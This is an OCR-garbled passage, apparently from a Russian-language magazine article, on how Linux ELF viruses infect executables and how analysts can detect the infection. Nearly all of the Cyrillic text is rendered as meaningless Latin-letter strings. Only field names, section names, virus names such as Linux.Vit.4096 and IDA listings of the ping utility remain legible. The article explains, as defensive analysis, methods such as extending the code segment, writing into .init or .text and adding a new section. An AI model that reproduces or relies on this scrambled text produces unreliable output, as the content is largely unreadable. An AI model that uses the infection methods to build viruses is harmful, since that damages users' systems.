PEMELLAETCA BHU3 Ha BESIMHMHY, PaBHYIO OJIMHE Tefa Bu-
pyca. [ns 3Toro BMPYC YBENMYMBAET COAEPXMMOE Mons
e_shoff, okkynupytowiero 20h — 23h 6aiitel ELF-3aronos-
Ka, (MpuMeYaHmne: 3aronoBoK TabnLbl CEKLMIA, PABHO Kak
M camu CeKLMM, UMEET 3HAYEHME TOMbKO AN KOMMOHO-
BOYHbIX (haiinoB, 3arpy34unK UCMOMHAEMbIX (DanoB UX ur-
HOPMPYET, HE3aBUCMMO OT TOrO, MPUCYTCTBYIOT OHU B ¢hai-
ne WUnu Her);

B npocmatpueas Program Header Table, Bupyc HaxoauT cer-
MEHT, Hanbosnee NPeANOYTUTENbHBIA AN 3apaXeHus (T.e.
TOT CErMEHT, B KOTOPbIA YKa3blBaeT TO4Ka BXOAaA);

B fMHa HaMeHHOro CerMeHTa YBeNMYMBaETCS Ha BENWYK-
Hy, paBHyl0 pasmepy Tena Bupyca. JT0 OCyLLeCTBNseTcs
MyTeM CUHXPOHHOM Koppekuumn nonen p_filez n p_memz;

B Bce ocTalibHble CEerMeHTbl CMELLAKTC BHU3, NPU 3TOM
none p_offset kAXXAOro U3 HUX YBENMHMBAETCS Ha ONWHY
Tena Bupyca;

B aHanManpys 3arofoBoK Tabnuubl CEKLMIA (ECNM OH TOSb-
KO NPUCYTCTBYET B (haisie), BUPYC HAXOANUT CEKLMIO, Hau-
6onee NpeanoHTUTENbHYIO ANA 3apaxeHus (Kak npaBu-
No, 3apaxaeTcs CeKUWsi, HaXOAALLAsaCs B CErMeHTe Moc-
nefHen: 3To n3baBnseT BMpyca OT HEOBXOAMMOCTM nepe-
MELLIEHMA BCEX OCTaslbHbIX CEKLMIA BHU3);

B pa3mvep 3apaxaemoit cekuum (none sh_size) ysennyvea-
€TCS Ha BEJIMHMHY, PaBHYIO pasmepy Tena BUpyca;
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B Bce XBOCTOBbIE CEKLMM CErMEHTa CMeLLaloTCs BHU3, Mpu
aTom none sh_offset kaxgon n3 HUX yBennymBaeTca Ha
DJIMHY Tena Bupyca (eCnv BUpYC BHEAPSETCS B NOCNENHION0
CEKUMIO CErMeHTa, 3TOro Aenatb He HYXHO);

B Bypyc fonuckiBaeT cebs K KOHLY 3apaxaemoro cermeH-
Ta, P13NYecKn cMeLLasi COAepPXXUMOoe BCel 0CTanbHOMN Ya-
CTV haina BHU3;

B 1 nepexeata ynpaBfieHUsi BUPYC KOPPEKTUPYET TOYKY
Bxofda B (hann (e_entry) nmbo xe BHEOPSET B UCTUHHYIO
TOYKY BXOZa jmp Ha CBOE TeNo (BMPOYeM, METOAMKA ne-
pexaaTta ynpaefieHns — Tema OTAENbHOro 60MbLIOro pas-
roesopa).

Mpexpe 4em NPUCTYNUTL K 0BCYXAEHWNI0 XapaKTepHbIX
«CNnefoB» BUPYCHOrO BHELPEHWS, AaBalTe MOCMOTPUM, Ka-
Kune CeKLMM B Kakunx CerMeHTax o06bl4HO 6bIBAKOT pacronoxe-
Hbl. OKa3bIBaeTCs, CXeMa WX pacnpefeneHns aaneko He of-
HO3Ha4yHa U BO3MOXHbI CaMble pa3HOo6pa3Hble Bapuauum. B
OfHUX CIlyH4asnX CEeKUMM Kofa M faHHbIX NoMeLlaloTcst B OT-
JenbHble CEerMeHTbl, B APYrMX — CEKLMM AaHHbIX, JOCTYMHblE
TONbKO HA YTeHWe, 0ObEeOMHSIOTCS C CeKLUMAMU Koaa B eau-
HbIli cermeHT. COOTBETCTBEHHO M MOCMEeOHAs CeKUmUsa Komo-
BOr0 CEerMeHTa Kaxpbli pas 6ygeT VHOW.

BonblMHCTBO halnoB BKNOHAET B cebsi 6onee 0gHON
KOOOBOW CeKUMW, 1 pacrnonaratTcst 3TM Cekuun npuénmnsu-
TENbHO Tak:

JincTuHr 10. CxeMa pacnofOXeHMsT KOMOBHIX CEKLMIZ THMIMYHOTO daitna

.init COTEPKUT MHMLUMANMBALMOHHEL KOX
.plt CONepXMT TabmMUy CBSISKM MOANPOTPaMM
.text COZEPXMUT OCHOBHOM KON NPOI'PaMMHI
fini CONIEPXUT TEpPMMPYKIUMIA KOJ NPOIPaMMEI

MpucyTcTtare cekumu finit genaet cekuwmio .text He nocne-
[Hel cekumen KogoBoro cermeHTa haina, Kak vatle BCero u
npoucxoaut. TakMum 06pa3oM, B 3aBUCUMOCTM OT CTpaTernm
pacnpefeneHnsi CEKLMI Mo cermMeHTam, nocnefHe cekumen
(havina 06bI4HO aBnseTcs nnbo cekums .finit, nn6o .rodata.

Cekuusa .finit B 60NbLUMHCTBE CBOEM 3TO Takasi KpOXOT-
Has CekuMs, 3apaXeHue KOTOpPOW TPyOHO OCTaBMTb Hela-
MeYeHHbIM. Ko, pacnonoxeHHbi B cekuuu .finit n Henoc-
pPeOcTBEHHO NepexBaTblBalOLWNA HAa CE6S1 HUTb BbIMOSHE-
HWSI NPOrpaMMON, BbIrMAAWUT HECKONBbKO CTPaHHO, ecrnn He
cKasaTb — noJo3puTenbHO (06bI4HO ynpasneHue Ha finit
nepenaeTcs KOCBEHHbIM 06pa3oM Kak aprymeHT yHKLWK
atexit). BropxeHune 6ygeT eLle 3ameTHee, ecnv nocnegHen
CeKLMeNn B 3apaxaemMoM CermMeHTe oKaxeTcs cekuus
.rodata (MalUWHHBIA KOO NPV HOpMaNbHOM Pa3BUTUM CO-
6bITUIA B aHHble HUKOrga He nonapaeT). He octaetcs He-
3aMeY€eHHbIM 1 BTOPXEHWE B KOHEL, NMepBON CEeKLMKN Koao-
BOrO CerMeHTa (B NOCNEeAHIO CEKLUIO CErMeHTa, npeaLue-
CTBYIOLLEMY KOQOBOMY CErMEHTY), MOCKOJSIbKY KOOOBLINA
CEerMeHT NpakTUYecKn BCerga HaudmHaeTcs ¢ cekuuu .init,
BbI3bIBAEMOW U3 rNy6KHbI CTAPTOBOrO Koda M No O6bIKHO-
BEHWUIO COAepXaLlen napy-TPOMNKY MaLUMHHbIX KOMaHA.
Bupycy 3peck 6yaeT NnpocTo Herge 3aTepaThes, U ero npu-
CYTCTBME Cpa3y Xe CTaHOBWUTCA 3aMETHbIM!

Bonee coBepLUEHHbIE BUPYCbI BHEAPAIOTCA B KOHEL, CEK-
umn .text, coBurasi Bce ocTanbHOe COAEPXXMMOe (haiina BHUS.
PacnosHatb Takylo 3apady 3Ha4YUTeSlbHO CHOXHEE, NOCKOSb-
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Ky BM3yanbHO CTPYKTypa haiina BbIrNaauT HeUcKaKeHHOM.
OpHako HeKoTOpble 3aLenku BCe-Taku ecTb. Bo-nepBbix, opu-
rMHanbHas To4ka Bxoda NoAaBnatoLlero 60nbLIMHCTBA dhaii-
NOB pacrnosioxeHa B Ha4ane KOJoBOW CEKLWW, a HE B €€ KOH-
Le. Bo-BTOpbIX, 3apaXKeHHbIV hain UMEET HETUMWYHBIN cTap-
TOBbIV Kof (MoppobHee 06 3TOM pacckasbiBanocb B npefbl-
Zywien cratbe). U, B-TpeTbuX, JaNeKo He BCe BUPYChl 3a60-
TATCA O BbIpaBHMBAHWUWN CErMEHTOB (CEKLIMNA).

MocnegHwWii cny4arn cTouT paccMoTpeTb 0c060. Cnuctem-
HOMY 3arpy34vKy, HM4Yero He 3HaloWeMy O CyLlecTBOBa-
HUW CEeKLMIA, CTEMEHb MX BblPaBHWBAHUA HEKPUTUYHA. Tem
He MeHee, BO BCEX HOPMaSIbHbIX MCMOMHSAEMbIX haiinax cek-
UMK TWaTeslbHO BbIPOBHEHbI HA BEMUYMHY, yKa3aHHYO B
none sh_addralign. Mpu 3apaxeHuun haina BMpycom noc-
NefHUIA faneko He BCerga okasbiBAeTCs Tak akKypaTeH, u
HEKOTOpPbIE CEKLMN MOTYT HEOXMAAHHO AN cebs 04yTUTb-
€Sl N0 HEKpaTHbIM agpecam. Pa6oTocnocobHoCTH nporpam-
Mbl 3TO He HapyLUWT, HO BOT (akT BTOPXEHWS BMpyca cpa-
3y Xe Jemackupyert.

CermeHThbl BblpaBHMBaTh TOXE HE0OA3aTENLHO (NpU He-
06X0AMMOCTH CUCTEMHBIA 3arpy3yuK caenaeT 310 cam), of-
HaKo NPOrpaMMMCTCKUIA STUKET NPEANMUCHIBAET BblpaBHMUBATb
cekuum, paxe eciv none p_align paBHO Hynto (T.€. BbIpaBHU-
BaHua He TpebyeTcs). Bce HOpmanbHble JIMHKEPbI BbIpaBHU-
BalOT CEMMEHTbI MO KPaWHEN MEpe Ha BENMYMHY, KPaTHYIO
32 6aiTtam, X0TA 3TO NPOMUCXOOMT U He Bceraa. Tem He Me-
HEee, EC/IN CErMeHThI, CNEAYIOLLME 32 CErMEHTOM KOAa, Bbl-
POBHEHbI Ha MEHBLLYIO BENIMHMHY — K TakoMy haiiny cnegyet
NPUCMOTPETLCA NOBHUMATESbHEE.

[pyroi HemanoBaXHbIA MOMEHT: MPU BHeOPEHWN BUpYyCa
B Ha4yasio KOLOBOr0 CErMeHTa OH MOXET co3[aTb CBOW CO6-
CTBEHHbI CErMeHT, NpepLlecTByoWwmiA aaHHomy. U Tyt Bu-
PYC HEOXWAAHHO CTaNKMBAETCS C AOBOJIbHO MHTEPECHOI MPO-
6nemoii. CoBMHYTb KOLOBbIA CETMEHT BHWU3 OH HE MOXET, T.K.
TOT 06bIYHO HAYMHAETCA C HYNEBOro CMeLleHus B daiine,
nepekpbiBas co60i NpepLlECTBYOWNE MY CErMeHTbl. 3a-
paxeHHas nporpaMma B NpuHLUMNe MOXET M paboTaTtb, HO
packfiagka CerMeHTOB CTAHOBMUTCS CIIMLLKOM YK HEOObIYHOM,
4TOObI €€ HE 3aMETUTD.

BbipaBHMBaHWE (DYHKUMA BHYTPU CEKUMIA — 3TO BOOOLLE
BeLLb (B CMbICTE: BELLAOK — BELLECTBEHHOE 0KA3aTENLCTBO).
KpaTHOCTb BblpaBHMBaHUA (DYHKLMIA HATLE M HUKAK HE LOEK-
napupyeTcs, U BCAKWIA NPOrPaMMMUCT CKJTOHEH BblpaBHUBATb
yHKUMM no-ceoemy. OfHU MCNONb3YIOT BbipaBHUBAHWE Ha
appeca, kpatHble 04h, gpyrue — 08h, 10h unu gaxe 20h! On-
penenuTb CTeneHb BbipaBHMBaHWA 6€3 Ka4eCTBEHHOMO am3ac-
cembnepa NpakTU4eckn HEBO3MOXHO. TpebyeTca Bbinucatb
CTapToBble agpeca Bcex (YHKUMIA 1 HAWTWU HanboNbLUMIA de-
NWUTENb, HA KOTOPbIN BCE OHU AenaTea 6e3 ocTaTtka. Jonuckl-
Bas cebs B KOHEL, KOQOBOrO CErMEHTA, BUPYC HaBEPHSKA
OLIM6ETCA C BbIpaBHUBAHWEM afpeca nposora gyHKLMm (ecnm
OH BOO6LLe N03aBOTUTCS O CO3AAHUM (PYHKLMK B 3TOM MecC-
Te!), U OH OKaXETCH OT/IMYHLIM OT CTENEHW BblpaBHUBAHWS,
NPUHSATON BCEMM OCTanbHbIMU OYHKLMAMK (MOMYTHO 3ame-
TUM, Y4TO OMNpenensTb CTENEHb BbIPABHWBAHUA MPXU MOMOLLM
anzaccembnepa IDA PRO — nnoxast uaes, T.K. OHa onpenens-
€T €€ HEeMNpaBUNbHO, 3aKNaabiBasiCb Ha HAUMEHbLLIEE BO3MOX-
HOE 3Ha4eHWe, B pe3ysibTaTe HYero BblYMCNEHHAA CTeNeHb Bbl-
PaBHMBAHUA OT (OYHKUMM K (DYHKLMK OyOeT BapbMpOoBaThLCA).
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Knaccuyeckum npuMepom BUpyca, BHeLPAIOLLErocs B (haiin
MyTeM pacLUMPEHNs KOLOBOrO CermMeHTa, SBASETCA BUPYC
Linux.Vit.4096. JTto60onbITHO, 4TO pa3fiMyHble aBTOPbI NO-pas-
HOMY OMUCLIBAIOT CTPaTErnmM, UCMONb3yeMble BUPYCOM AN1s
3apaxeHus. Tak, EBreHuin Kacnepckuii noyemy-To CuuTaeT, Yto
Bupyc Vit 3anmcbiBaeTcA B Ha4ano KOJOBOW CEKLMM 3apaxae-
moro cdhaiina (http://www.viruslist.com/viruslist.ntml?id=3276),
B TO BPEMS KaK OH pa3MeLLaeT CBOE TENO B KOHLE KOJOBOro
cermeHTa daiina (http://www.nai.com/common/media/vil/pdf/
mvanvoers_VB_conf 202000.pdf). Huxe npueeaeH chparmeHT

ELF-channa, 3apaxeHHoro supycom Vit.

AFLFOEE
eva
(

A
4
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+

00 00
PucyHox 6. ®parMeHT baiina, B3apaxeHHOTo BupycoM Lin/Vit. Ioms,
MOAMGMUMPOBAHHEHE BMPYCOM, BEHJENEHH TPaypHO paMKoit

MHorve Bupychl (M B HacTHOCTH, Bupyc Lin/Obsidan) Bbl-
[atoT cebsi TEM, 4TO NPU BHELPEHUM B cepeuHy dhaiina «3a-
6bIBalOT» MOAMGMLMPOBATL 3arofioBOK TabnuLbl CeKLui
(nmM60o xe MoanULMPYIOT ero HEKOPPEKTHO). Kak yxe oTMe-
4anocb BbILE, B MPOLIECCE 3arpy3Kn UCMONHAEMBIX (haiioB
B NaMATb CUCTEMHBIN 3arpy34unK CHUTLIBAET MHOPMaLMIO O
CermMeHTax U NpoeLmMpyeT UX COREPXMMOE LieIMKOM. BHyT-
PEHHSAA CTPYKTYpa CErMEHTOB €ro COBEPLUEHHO HE WMHTepe-
cyeT. [Jaxe ecnu 3arofioBOK Tabnmubl CEKLWIA OTCYTCTBYET
WNW 3anofiHEH HEKOPPEKTHO, 3anyLLeHHas Ha BbINOMHEHWE
nporpamMma 6yaeT ucnpasHo padotatb. OgHaKo HeCMOTpS Ha
3T0, B NOAABNALEM 6OMbLUMHCTBE WUCMOMHAEMbIX (halinoB
3arofioBoK TabnuLbl CEKUMIA BCE-TakW MPUCYTCTBYET, W MO-
MbITKa €ro yaaneHus okaH4MBaeTcs BECbMa MyaqeBHO — Mo-
NynsapHbIA oTnaguuk gdb u pag apyrux ytunuT gnsa paéoTsl ¢
ELF-chaiinamm oTkasbiBatoTCA Npu3HaTh «KacTPMPOBAHHbIN»
thann ceoum. MNpu 3apaxeHnun UCNONHAEMOro hawna Bupy-
COM, HEKOpPPEKTHO obpallaloLLmmMcs ¢ 3arofloBKOM Tabnuubl
CEeKUWI, NoBefeHVe OTNagyMka CTaHOBUTCA Henpenckasye-
MbIM, BieMacK1pyst TeM cambIM (DakT BUPYCHOrO BTOPXXEHMUS.

MepeyncnnuM HEKOTOPbIE Hanbonee xapakTepHble Npu3Ha-
KM 3apaXKeHns UCMOJTHAEMBIX (DaNIoB (BMPYCbI, BHEAPSIOLL-
€cs B KOMMOHOBOYHbIE (haiinbl, 06pabaTbiBaloT 3arofoBoK
TabnuLbl CEKUMIA BMOMHE KOPPEKTHO, B MPOTUBHOM Crydvae
3apaxeHHble (haisbl TYT Xe OTKaxyT B paboTe U pacnpocT-
paHeHve BMpyca HEMELJIEHHO NPeKpaTuTcs):

B none e_shoff ykasbiBaeT «MUMO» UCTMHHOrO 3aronoBka
Tabnuupl cexumin (Tak cebs BepeT Bupyc Lin/Obsidan) nuéo
MMEeeT HyNeBOe 3Ha4YeHWe Npu HeMycTOM 3aronoBke Tab-
nnubl cexumin (Tak cebsa BedeT Bupyc Linux.Garnelis);

Hnone e_shoff uMeeT HeHyneBoe 3HaueHWE, HO HU OOHOrO
3aronoBKa Tabnumubl CeKUMn B dhaine HeT;

M3aronoBok TabnuLbl CEKLMIM COOEPXMTCS He B KOHLe hait-
na, 9TUX 3aronoBKOB HECKOMbKO UMK 3arofoBOK TabMLIbI
CeKUM nonagaet B rpaHuLbl BNafeHus ofHOro M3 cer-
MEHTOB;

B cymma AnvH BCEX CEKLMI OfHOrO CermeHTa He COOTBET-
CTBYET €ro MosIHOW AVHE;
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B nporpamMMHbIf KO pacronoxeH B 06nacT, He NpuHag-
nexalten HUKaKon Cekumm.

CrnepyeT ckasaTb, 4TO UccnefoBaHue haiinos C NCKaXKEH-
HbIM 3arosIoBKOM Tabnuubl CEKLMIA NPEACTaBnseT coboi fo-
CTaTO4HO MPOCTYO Npobnemy. [usaccembnepbl U OTnag4m-
Ku NIM6O BUCHYT, TM60 OTOBPaXarT Takom hawn Henpasusib-
HO, NIMBO Xe He 3arpyxarT ero BoobLue. Mo3Tomy, ecnu Bbl
nnaHupyeTe 3aH1MaTbCA UCCNEROBAHNEM 3apaXKeHHbIX dhaii-
NOB He JeHb W He OBa, Nyylle Bcero 6ymeT Hanucatb CBOK
COBCTBEHHYIO YTUNUTY ANS UX aHausa.

CABMI KOJJOBOH CeKLUUH BHU3

TpyAHO OBBACHWUTL MPUYMHBI, MO KOTOPLIM BUPYCHI BHEApPS-
lOTC B HA4ano KOOOBOM CEKUMWU (CerMeHTa) 3apaxaemoro
thanna vnu co3gatoT CBOVM COOCTBEHHYIO CEKLMIO (CErMeHT),
pacnonararoLlyocs Bnepean. AToT NpueM He obecnevmBaeTt
HUKaKuX NPenMyLLECTB Nepes 3anvcblo CBOErO TeNa B KOHeL
KOZLOBOW CEKLMW (CEerMeHTa) 1 K TOMY XE€ HaMHOrO CIOXHEE
peanuayeTcs. TeM He MeHee, Takve BUPYCbl CYLLECTBYIOT W
6yoyT nogpobHO 34ECh PACCMOTPEHDI.

Hawvny4wmii ypoBeHb CKPLITHOCTU JOCTUraeTcs npu BHe-
APEHUM B Ha4ano cekumm .text u ocyLLeCTBSETCA NpaKTu-
YECKM TEM XE CaMbIiM 06pa30oM, 4TO U BHePEHWE B KOHeL, C
TOW NWLLb pasHULER, YTO AN CoXpaHeHWs paboToCnoco6HO-
CTW 3apaxeHHOro hanna BUpyc KOppekTupyeT nons sh_addr
1 p_vaddr, ymeHbLUIas MX Ha BENIMHMHY CBOErO TeNa U He 3a-
6biBas 0 HeO6XOAMMOCTU BbIPaBHMBaHWS (€CNW BblpaBHMBA-
HWe AeNcTBUTENbHO HeobxoamMmo). MNepeoe none 3agaeT BUp-
TyanbHbIi CTApTOBbI afpec AN NPoeKUumn cekumm .text, BTo-
pOe — BUPTYasibHbIA CTAPTOBbLIA afpec AN NPOEKLMM KOpo-
BOrO CerMeHTa.

B pesynbraTe 3TOM MaxuHauum BUPYC OKa3blBAETCA B ca-
MOM Havane KOLOBOW CEKLUMM W YyBCTBYET €65 [OBONBHO
YBEPEHHO, NOCKOJbKY NPW HaNW4MM CTapTOBOroO KOAA BbIMS-
VT HEOTNNYMMO OT «HOpMasibHOW» nporpamMmbl. OgHaKO
paboTOCMOCOBHOCTL 3apaXeHHOro haina yxe He rapaHTu-
pyeTcs, 1 ero NOBEAEHNE PUCKYET CTaTb COBEPLLEHHO Henpes-
CKa3yeMbIM, MOCKOMbKY BUPTyasbHble aapeca BCeX Npepbl-
OYLLUMX CEKLMIA OKaXYTCS MOMHOCTbIO MCKaXeHbl. Ecnn npu
KOMMUAALMU NPOrpammMbl KOMMOHOBLUMK N03a60TUACSA O CO-
30aHWN CEKLMM NepemMeLLaemMblX 3NIEMEHTOB, TO BUPYC (TEO-
PETUHECKN) MOXET BOCMONb30BATLCA 9TOW MHpOopMaLmMen ans
npuBeLeHUs Brepeamn nayLwmx Cekumii B HopManbHOe COCTO-
fiHWEe, OHAKO MUCNOJIHAEMbIE (halinbl B CBOEM MOAABISIOLLEM
6OMNbLUMHCTBE CMPOEKTMPOBaHbI 4N paboTbl MO CTPOro On-
peneneHHbIM prU3n4eCKMM agpecam 1 NOTOMY HemepeMeLLa-
embl. Ho gaxe npu HanMymm nepeMeLLaeMbIx 3NEMEHTOB BY-
PYC He CMOXET OTCNeauTb BCE CNnyyan OTHOCUTESTbHON aape-
caummn. Mexay cekumeii kopa 1 CEKUMEN JaHHbIX OTHOCUTESb-
Hble CCbISIKM NPaKTUYECKM BCErga OTCYTCTBYHOT, M NOTOMY Npu
BTOPXXEHWM BMpPYCA B KOHEL, KOAOBOMN CEKLMM paboTocnocob-
HOCTb (haina B 6ONbLUMHCTBE CryyaeB He Hapywaertcsa. Of-
HaKO BHYTPW KOQOBOrO CErMeHTa Cily4aum OTHOCUTENbHOA
agpecaunn Mexay CEeKUMSAMU — CKOpPee NPaBWio, HEXEeNN
PenKocTb. BarnsHuTe Ha dpparMeHT anM3accem6IepHOro nu-
CTUHra yTunuThl ping, nozamMctaoBaHHbIN 13 UNIX Red Hat 5.0.
Komangy call, pacnonoxeHHyto B cekuuu .init, u Bbi3biBae-
MYIO et0 noanporpamMmy, HaxofsaLlyocs B cekuum .text, pas-
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nenstot posHo 8002180h —8000915h == 186Bh 6aiT, 1 UMeH-
HO 3TO 4MCNO PUrypUpYeT B MaLUMHHOM KOZE (EC/N Xe Bbl
BCe ellle NpPoaosiXaeTe COMHeBaThbCs, 3arnaHuTe B Intel
Instruction Reference Set: komaHga E8h a9T0 kOMaHga OTHO-
CUTENBHOrO BbI30BA):

Jmcrunr 11. $parMeHT yTMIMTH ping, MCIONBBYmE), KakK M MHO-
TMe ZpyT¥e NPOTPaMMH, OTHOCUTENbLHHE CCHUIKM MEeXZY CeKIMSMI
KONOBOTO CerMeHTa

.init:08000910 _init
; CODE XREF: start+5lip

proc near

.init:08000910 E8 6B 18 00 00 call sub 8002180
.init:08000915 C2 00 00 retn O
.init:08000915 _init endp

text:08002180  sub_8002180
; CODE XREF: _initrp

proc near

HeyomeutenbHo, YTO Nocne 3apaxeHus dann nepectaet
paboTatb (MnM cTaHeT paboTatb HeKoppekTHO)! Ho ecnu 310
BCE-Taku Mpou3oLLso, 3arpyaute daiin B otnag4mnk/gusac-
cembnep 1 NoCMOTPUTE — COOTBETCTBYIOT NIV OTHOCUTENbHbIE
BbI30BbI NEPBbIX KOJOBbIX CEKLMWIA NYHKTY CBOEro HasHaue-
HUA. Bbl Ierko pacnosHaeTte hakT 3apaxeHusi, faxe He 6y-
Jy41 CNeLManucTom B 0651aCTU PENHXMHUPEHTa.

B atom mupe Huyero He paetcs gapom! 3a CKpbITHOCTb
BUPYCHOrO BTOPXEHWS MOCNERHEMY MPUXOOMTCA pacnnayu-
BaTbCs pas3pyLUeHneM BGOJbLUMHCTBA 3apaxaembix aiinos.
Bornee KoppeKTHbIe BUPYChI pacnonaratT CBOe TENO B Hava-
11e KOJOBOro cermMeHTa — B cekuumm .init. PabotocnocobHocTb
3apaxaembix hannos Npu 3TOM He HapyLUAEeTCs, HO MPUCYT-
CTBME BMpYCa CTAHOBUTCA NErKO 06HAPYXUTb, T.K. CEKLMSA .init
penko 6biBaeT 60MbLUON, U faxe HebosnbLlas NPUMech Mno-
CTOPOHHErO KOAa Cpasy Xe Bbi3blBaeT NOLO3PEHME.

MOAHDHLHPO

ELF-3aroaoBok

TOHKO
BX0AC

KOA v AAHHBIE
nporpammbl |

KOA v AAHHBIE |
nporpammsl

PucyHok 7. TunoBas CxeMa BapaxeHMs MCIOJNHseMOTo faitna myTem
pacuMpeHnst ero KOAOBOM CEeKIyM

HekoTtopeble Bupychl (Hanpumep, Bupyc Linux.NuxBee) 3a-
n1cbIBalOT cebsi MOBEpPX KOLOBOrO CerMeHTa 3apaXaemoro
thaiina, nepeMeLLias 3aTepTyio HacTb B KOHEL, KOJOBOW Cek-
ummn (vnm, 4To 6onee NPOCTO, B KOHEL, NOCNEOHEr0 CErMeHTa
thanna). Monyums ynpasneHue U BbINOMHUB BCIO PaboTy «No
X034MCTBY», BUPYC 3ab6pachbiBaeT KyCOHEK CBOEro TeNa B CTEK
W BOCCTaHaBNMBAET OpPWUrMHANIbHOE COOEPXMMOE KOLOBOrO
cermeHta. YuutbiBas, 4TO MOOMMKALIMA KOJOBOIO CErMeH-
Ta MO YMOJSIYAHMIO 3anpeLleHa 1 paspeluaTb ee BUpPYCY He
PE30H (B 3TOM cnyvae (hakT 3apaxeHWsi O4eHb Jlerko obHa-
PYXWTb), BUPYCY NPUXOAMTCA Npuberatb K HU3KOYPOBHEBLIM
MaHUMyasUMsamM ¢ aTpubyTamMn CTpaHuL NamsTH, Bbi3biBas
thyHKUMIO mprotect, NpakTUYECKM HE BCTPEYAIOLLYIOCS B «Ye-
CTHbIX» MPUSTIOXEHUSX.

[pyroi xapakTepHblii NPU3HaK: B TOM MeCTe, e KoH4a-
€TCA BUPYC M Ha4MHaeTcs He3atepTas 0651acTb OpUrMHasb-
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HOro Tefla nporpammbl, 06pasyeTcs cBoeobpasHbIn AedeKT.
Ckopee BCero, faxe HaBepHska, rpaHuLa pasgena AByx cpen
npovaeT nocepeamHe YHKLMKU OPUTMHANBHOW NporpamMbl,
€CIN eLLe He pacceyeT MalUMHHYI0 KomaHgy. Ousaccembnep
NOKaXeT HEKOTOPOE KOMMHYECTBO MyCOpa M XBOCT (hyHKLMM C
OTCYTCTBYIOLLMM MPOJSIOrOM.

Co3jianne cBoell COGCTBEHHON CeKiuM

Hanbonee 4eCTHbI (4MTall — «KOPPEKTHLIN») U HAUMEHEE
CKPbITHbIA CMOCO6 BHEAPEHUS B hain COCTOUT B CO3QaHWn
CBOEW COBCTBEHHOMN CEKLUUM (CErMeHTa), a TO U ABYX CeKLMA —
ONS Kopa M Ana faHHbIX COOTBETCTBEHHO. PasmecTuTh Ta-
KYIO CEKLIMIO MOXHO re yrogHo. XoTb B Havane gaina, XoTb
B KOHLE (BapuaHT BHEOPEHWSI B CErMEHT C Pa3fBWKKOMN CO-
CEOHMX CEKLMIA Mbl Y)Xe paccMaTpuBany BbiLLE).

JucTuer 12. Kapra ¢aina, BapaXeHHOT'O BMPYCOM, BHEAPSNIMMCS
B COBCTBEHHOPYYHO COBHAHHYW CEKUMI0 M S3THMM Ce6s HeMacKupyio-
muM (nofpo6Hee 06 S3TOM pacCKasHBANOCh B MNpeHHAyNEN CTaTbe
3TOr0 UMKNa «Bope6a C BMpycaMy — OMNBT KOHTPTEPPOPUCTUYECKUX
omepaumit», B OKTSGPBLCKOM HOMepe XypHana)

Name Start End Align Base Type Class 32 es ss ds fs gs

Ainit 08000910 08000918 para 0001 publ CODE Y FFFF FFFF 0006 FFFF FFFF
plt 08000918 08000B58 dword 0002 publ CODE Y FFFF FFFF 0006 FFFF FFFF
“text 08000B60 080021A4 para 0003 publ CODE Y FFFF FFFF 0006 FFFF FFFF
fini 080021B0 080021B8 para 0004 publ CODE Y FFFF FFFF 0006 FFFF FFFF
.rodata 080021B8  0800295B  byte 0005 publ CONST Y FFFF FFFF 0006 FFFF FFFF
.data 0800295C  08002A08 dword 0006 publ DATA Y FFFF FFFF 0006 FFFF FFFF
.ctors 08002A08 08002A10 dword 0007 publ DATA Y FFFF FFFF 0006 FFFF FFFF
.dtors 08002A10 08002A18 dword 0008 publ DATA Y FFFF FFFF 0006 FFFF FFFF
.got 08002A18 08002ABO dword 0009 publ DATA Y FFFF FFFF 0006 FFFF FFFF
.bss 08002B38 08013CC8 dword 000A publ BSS Y FFFF FFFF 0006 FFFF FFFF
.data1 08013CC8 08014CC8 qword 000A publ DATA Y FFFF FFFF 0006 FFFF FFFF

Buepexne mexpay thannom v 3arooBKom
DuUKCHPOBaHHLIN pa3mep 3arofioBka a.out-hannos cylue-
CTBEHHO 3aTPYOHAN 3BOMOLUMIO 3TOr0, B OBLLEM-TO HEMSOXO-
ro coopmara, U B KOHEHHOM CHETE MpPUBEN K ero rubenun. B
nocnegylowmx gopmMarax 3To orpaHuyeHne 6bino Npeogo-
neHo. Tak, B ELF-thainax anvHa 3aronoBka XpaHWUTCs B ABYX-
6aritoBoM none e_ehize, okkynuposasliem 28h 1 29h 6an-
Tbl, cyUTas OT Ha4ana camnna.

YBENWYMB 3arofioBOK 3apaXaemoro hainsna Ha BENMHUHY,
PaBHYI0 ANMHE CBOEro Tefia, U CMECTUB OCTaBLLYKOCA 4acTb
thavina BHW3, BUPYC CMOXET 6€360M1€3HEHHO CKOMMPOBAaTb
cebs B 06pa3oBaBLUeecs NMPOCTPAHCTBO MeXZY KOHLOM Ha-
CTOsLLEro 3aronoska v Ha4anom Program Header Table. Emy
Jaxe He NpUAeTCs YBENWYMBATL LJIMHY KOQOBOMO CErMEHTa,
NOCKOSbKY B GOMBLUMHCTBE CNyYaeB TOT HAYMHAETCS C Camo-
ro nepsoro 6anta anna. EQMHCTBEHHOE, YTO BYOET BbIHYX-
[eH caenatb BUpYC, CABMHYTL nonst p_offset Bcex cermeHToB
Ha COOTBETCTBYIOLLYIO BENWNYMHY BHW3. CErmMeHT, HaumHalo-
LUMIACS C HYNEBOro CMELLEHNst, HUKya NepemeLlaTtb He Haao,
WHa4e BMpYC He ByeT CnpoeuupoBaH B namsTb. (CMeLLeHus
CErmMeHTOB B (halfie OTCHMTLIBAOTCS OT Hayana darna, Ho
HE OT KOHLa 3arofioBka, Y4T0 HENOrn4HO U UOEO0NOrNYECKM
HenpaBuWNIbHO, 3aTO YNpoLLaeT nporpammupoBaxue). MNone
e_phoff, 3apgarowlee cmewweHne Program Head Table, Takxe
LOJKHO 6bITb CKOPPEKTUPOBAHO.

AHanormyHyto onepaumio cnegyet npogenarb U Co CMe-
LLEHMAMW CEKLMIA, B NPOTMBHOM Clly4ae OTnajka/ansaccem-
61MpoBaHWe 3apaxeHHOro dhaina CTaHeT HEBO3MOXHOM (XOTA
thain 6ymeT HopmanbHO 3anyckatbes). CyLiecTBytOLmE BU-
pycbl 3a6bIBalOT CKOPPEKTMPOBATL COAEPXKMMOE Mosei
sh_offset, 4em u BbigaOT cebs1, ogHaKO cregyeT ObiTb FOTO-
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BbIM K TOMY, 4TO B CIIEQYIOLLMX MOKOMEHWSX BUpYCa 3TOT He-
[OCTaToK 6yAeT yCTpaHeH.

Bnpouewm, B no6oM cnyvae Takon cnocob 3apaxeHus
C/MLLKOM 3aMeTeH. B HopManbHbIX nporpamMmax McnosHse-
MbI KOl HMKoraa He nonapaet B ELF-3aronoBok, u ero Ha-
